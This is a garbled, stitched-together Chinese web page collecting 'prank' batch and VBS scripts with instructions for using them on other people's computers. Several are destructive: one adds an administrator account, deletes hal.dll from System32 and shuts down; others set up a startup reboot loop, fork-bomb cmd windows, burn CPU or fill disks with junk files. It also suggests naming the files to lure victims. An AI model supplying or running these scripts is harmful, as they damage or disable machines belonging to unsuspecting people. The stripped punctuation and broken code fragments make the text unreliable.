有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办；bat文件 测试平台32bit XP 功能让电脑死机 代码开始 0%0 代码结束 使用方法1新建个文档别告我你不会2复制粘贴那段代码 3保存为XXXXXbatXXXXX为随意名字，比如刷钻什么的。
直接在代码行输入关闭系统 #重启，真，然后 复制文件，将路径设为开始菜单下的启动栏里，编译成exe文件，这样只要运行了这个程序，一开机就自动运行了，机子就会不断重启这样整人太狠了慎用啊；代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。
整人代码大全可复制手机QQ
毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件请准备好30G空间具体在代码中仅供恶搞娱乐和研究，没有攻击任何人，组织的意图set qstart = wscriptCreateObjectquotwscriptshellquotset qweb = CreateObjectquotWscript。
这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时不会关掉 就双击这个vbs脚本就可以了制作方法建立一个记事本写下我告诉你的代码 然后点击lt文件lt留存为选择所有文件，并且文件名为。
注意条款全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责echo off echo 开始 2 start cmdexe goto 2 就是主要是利用goto 来跳转到2 循环跳转就是循环用start 打开CMD ^^ 友情提示。
代码十超强整人set ws=createobjectquotwscriptshellquot call shutdown1 do while altquot我是猪quot a=inputboxquot快在下面的框框里输入我是猪，否则后果自负，快输quotquot我是猪quotquot quot，quot输不输quot，quotquot loop call shutdown2 msgbox。
echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color。
整人代码大全可复制霸屏
第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。
true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，你真听话！哈quot用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY复制此代码新建文本文档命名为 整人vbe名字随便起，后缀名是vbe就可以了。
quotvbcrlfquotquotvbcrlfquot下面以我为列 不同可以修改quotvbcrlfquotquotChr10quot格式为19870602quot，quot芮洲提示quot，quot19870602quot If c = quotquotThen WScriptQuit End If wscriptsleep 1000age = absdatediffquotdquot，date，c。
vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万。